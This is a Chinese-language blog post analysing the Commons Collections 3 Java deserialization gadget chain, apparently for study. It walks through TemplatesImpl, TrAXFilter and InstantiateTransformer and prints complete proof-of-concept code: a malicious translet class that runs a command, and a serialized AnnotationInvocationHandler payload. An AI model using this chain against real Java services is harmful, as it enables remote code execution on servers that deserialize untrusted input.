CommonsCollections3利用链分析

CommonsCollections3利用链分析

原理

CC3这条链比较特殊,和CC1与CC6这两条链是直接在链的代码中执行任意代码相比,CC3是通过动态类加载机制来实现自动执行恶意类的代码的。因此,我们需要先回顾一下在基础篇讲的Java动态类加载机制。

这里的加载类是指从编译好的字节码.class文件中加载类,不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:

image-20220310114139971

其中:

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java 默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。

example:

import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        hello.newInstance();
    }
}

注意一点,在 defineClass() 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass() 时也无法被直接调用到。所以,如果我们要使用 defineClass() 在目标机器上执行任意代码,需要想办法调用构造函数 newInstance()

执行上述example,输出了Hello World:

image-20220310120245997

这里,因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。

既然是我们想通过加载类来实现任意代码执行,所以就要找到一个重写了 defineClass() 方法的类,它的链上的某个类里面要调用了 newInstance()方法,才能实现任意代码执行。

代码分析

TemplatesImpl类加载实现任意代码执行

这里ysoserial找到了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClassLoader ,里面重写了defineClass(),并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

image-20220311185504549

找一下这个类中的其它地方会调用这个方法,就找到了defineTransletClasses()方法,不过是私有的,内部会调用,接着找。并且在这里可以看到通过for循环,依次加载字节码_bytecodes中的内容,然后赋值给Class数组_class

image-20220311190020621

然后找到了getTransletInstance(),可以看到将字节码加载进来之后,会执行_class[_transletIndex].newInstance(),这里就会实例化类,执行任意代码了。但是这个方法仍然是private的,还需要看哪里调用了getTransletInstance()

image-20220311230058976

因此找到了newTransformer(),并且这个方法还是public的。到此利用的链就找到了。

image-20220311230510218

总结一下目前的调用链是怎样的:

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

现在来写一下怎么通过这个类的newTransformer()执行任意代码,对成员变量如何赋值才能走到newInstance()

  • 首先在 newTransformer() 能够正常走到 getTransletInstance()
image-20220312104706691
  • 然后到 getTransletInstance()_name 不能为空,_class 要为空,才能进入到 defineTransletClasses()
image-20220312104930009
  • 然后在defineTransletClasses()方法中_bytecodes为我们传入的字节码,也就是class文件。这里的_tfactory需要一个TransformerFactoryImpl 对象才能正常调用方法。
image-20220312105259913
  • 再往后如果走ifelse中的_auxClasses不用赋值,但是在后面的if会判断_transletIndex < 0,因此能在前面的if里面通过_transletIndex = i;赋值,所以_auxClasses就不用赋值了。这里的if是判断传入的字节码的父类要是ABSTRACT_TRANSLET,也就是需要继承这个包com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
image-20220312105955368

到这里 defineTransletClasses() 方法就顺利走完了,回到 getTransletInstance() 方法下一步触发 _class[_transletIndex].newInstance() 从而实现加载类代码并初始化任意执行。

到这里,此时构造POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CommonsCollections3 {
    // 先定义一个反射修改类内部属性的方法,方便后面直接调用
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();

        // 获取恶意类的字节码
        byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
        byte[][] codes = {code};
        // 反射修改属性
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // 调用 newTransformer() 方法
        obj.newTransformer();
    }
}

前面说过传入的字节码需要继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 这个类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTemplatesImpl extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public EvilTemplatesImpl() throws IOException {
        super();
        Runtime.getRuntime().exec("calc");
    }
}

运行发现成功执行了恶意类代码:

image-20220312113107773

CC1+TemplatesImpl

现在链已经构造好了,那怎么在反序列化时候去调用newTransformer()呢?这里首先想到了CC1链的InvokerTransform类能够实现调用传进去的方法。

先回顾一下CC1是怎样调用任意方法的:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

这里只需要将第⼀个InvokerTransformer执行的exec改成 TemplatesImpl::newTransformer() ,即为:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    // 先定义一个反射修改类内部属性的方法,方便后面直接调用
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();


        byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
        byte[][] codes = {code};
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

//        obj.newTransformer();
        Transformer[] transformers = {
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

可以看到很轻易地就执行了恶意类中的代码:

image-20220312114321817

InstantiateTransformer

但是我们查看ysoserial发现它的链和上面的有些不同,没有用InvokerTransformer类,而是用到了 InstantiateTransformer这个类,来看看它怎么写的:

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templatesImpl } )};

可以看到这里用到了TrAXFilter这个类,我们去看看它的构造函数:

image-20220312121346481

原来TrAXFilter类的构造函数嗲用了 newTransformer() 方法,并且前面的Templates对象可控,那么我们只需将这个类实例化,并且参数传进构造好的 templates 即可。而 InstantiateTransformer 这个类就是干这个事的,InstantiateTransformer的transform()方法就是通过反射获取构造函数来实例化一个类:

image-20220312121644982

所以我们可以利用这个类中的transform()来实例化TrAXFilter从而达到调用newTransformer()的目的:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    // 先定义一个反射修改类内部属性的方法,方便后面直接调用
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();

        byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
        byte[][] codes = {code};
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("value","xxxx");
    }
}

利用链成功执行:

image-20220312122224140

POC

最后我们把CC1链后面用到的 AnnotationInvocationHandler类readObject()方法调用setValue()触发利用链的代码补上就构成完整的CC3链了:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();

        byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
        byte[][] codes = {code};
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

//        obj.newTransformer();
//        Transformer[] transformers = {
//                new ConstantTransformer(obj),
//                new InvokerTransformer("newTransformer", null, null)
//        };
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { obj })
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        innerMap.put("value","xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        setFieldValue(transformerChain, "iTransformers", transformers);

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        // 本地测试触发
//        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

当然这里后面用的CC1链存在Java高版本无法使用的问题,可以参考CC6链将其改造即可。

总结

CC3链提供了一个新的思路,不必将执行的代码写在反序列化的类里面,而是写在一个专门的恶意类,当反序列化的时候去动态加载恶意类并初始化它从而实现任意代码执行。

参考资料

ysoserial之Commons-Collections3链

评论

  1. 8月前
    2023-4-09 19:30:16

    赞赞赞!!!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇